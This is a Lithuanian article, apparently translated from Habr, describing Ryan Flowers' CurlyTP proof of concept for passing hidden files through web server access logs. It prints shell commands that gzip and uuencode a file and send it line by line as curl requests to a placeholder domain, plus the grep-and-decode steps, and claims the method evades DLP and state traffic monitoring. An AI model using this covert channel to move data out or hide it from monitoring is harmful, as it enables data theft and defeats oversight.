Keitimasis slaptais pranešimais per serverio žurnalus

Remiantis Vikipedijos apibrėžimu, negyvas lašas yra sąmokslo įrankis, padedantis keistis informacija ar kai kuriais elementais tarp žmonių naudojant slaptą vietą. Idėja yra ta, kad žmonės niekada nesusitinka, tačiau jie vis tiek keičiasi informacija, kad išlaikytų darbo saugumą.

Slėptuvė neturėtų pritraukti dėmesio. Todėl neprisijungę jie dažnai naudoja diskretiškus daiktus: atsipalaidavusią plytą sienoje, bibliotekos knygą ar medžio įdubą.

Internete yra daug šifravimo ir anonimiškumo priemonių, tačiau dėmesį patraukia pats šių priemonių naudojimo faktas. Be to, jie gali būti užblokuoti įmonės ar vyriausybės lygiu. Ką daryti?

Kūrėjas Ryanas Flowersas pasiūlė įdomų variantą - naudoti bet kurį žiniatinklio serverį kaip slėptuvę. Jei pagalvoji, ką veikia žiniatinklio serveris? Priima užklausas, išduoda failus ir rašo žurnalus. Ir registruoja visas užklausas, net neteisingus!

Pasirodo, bet kuris žiniatinklio serveris leidžia žurnale išsaugoti beveik bet kokį pranešimą. Gėlės domėjosi, kaip tai panaudoti.

Jis siūlo tokią galimybę:

  1. Paimkite tekstinį failą (slaptą pranešimą) ir apskaičiuokite maišą (md5sum).
  2. Mes jį užkoduojame (gzip+uuencode).
  3. Į žurnalą rašome naudodami sąmoningai neteisingą užklausą serveriui.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Norint nuskaityti failą, reikia atlikti šias operacijas atvirkštine tvarka: iššifruoti ir išpakuoti failą, patikrinti maišą (maišą galima saugiai perduoti atvirais kanalais).

Tarpai pakeičiami =+=kad adrese nebūtų tarpų. Programa, kurią autorius vadina CurlyTP, naudoja base64 kodavimą, kaip ir el. pašto priedai. Prašymas pateikiamas naudojant raktinį žodį ?transfer?kad gavėjas galėtų lengvai jį rasti žurnaluose.

Ką šiuo atveju matome žurnaluose?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Kaip jau minėta, norėdami gauti slaptą pranešimą, turite atlikti operacijas atvirkštine tvarka:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Procesą lengva automatizuoti. Md5sum sutampa, o failo turinys patvirtina, kad viskas buvo iššifruota teisingai.

Metodas labai paprastas. „Šio pratimo tikslas yra tik įrodyti, kad failus galima perkelti per nekaltas mažas žiniatinklio užklausas ir jis veikia bet kuriame žiniatinklio serveryje su paprasto teksto žurnalais. Iš esmės kiekvienas interneto serveris yra slėptuvė!“ – rašo Gėlės.

Žinoma, šis metodas veikia tik tuo atveju, jei gavėjas turi prieigą prie serverio žurnalų. Tačiau tokią prieigą suteikia, pavyzdžiui, daugelis šeimininkų.

Kaip juo naudotis?

Ryanas Flowersas sako, kad jis nėra informacijos saugumo ekspertas ir nesudarys galimų CurlyTP naudojimo būdų sąrašo. Jam tai tik koncepcijos įrodymas, kad pažįstamus įrankius, kuriuos matome kasdien, galima panaudoti netradiciškai.

Tiesą sakant, šis metodas turi daug pranašumų, palyginti su kitomis serverio „slėptuvėmis“, pavyzdžiui Skaitmeninis negyvas lašas arba PirateBox: nereikalauja specialios konfigūracijos serverio pusėje ar jokių specialių protokolų - ir nesukels įtarimų tiems, kurie stebi srautą. Mažai tikėtina, kad SORM arba DLP sistema nuskaitys suspaustų tekstinių failų URL adresus.

Tai vienas iš būdų perduoti pranešimus per paslaugų failus. Galite prisiminti, kaip kai kurios pažangios įmonės laikėsi Kūrėjo darbai HTTP antraštėse arba HTML puslapių kode.

Keitimasis slaptais pranešimais per serverio žurnalus

Idėja buvo tokia, kad tik žiniatinklio kūrėjai matys šį Velykų kiaušinį, nes normalus žmogus nežiūrės į antraštes ar HTML kodą.

Keitimasis slaptais pranešimais per serverio žurnalus

Šaltinis: www.habr.com

Добавить комментарий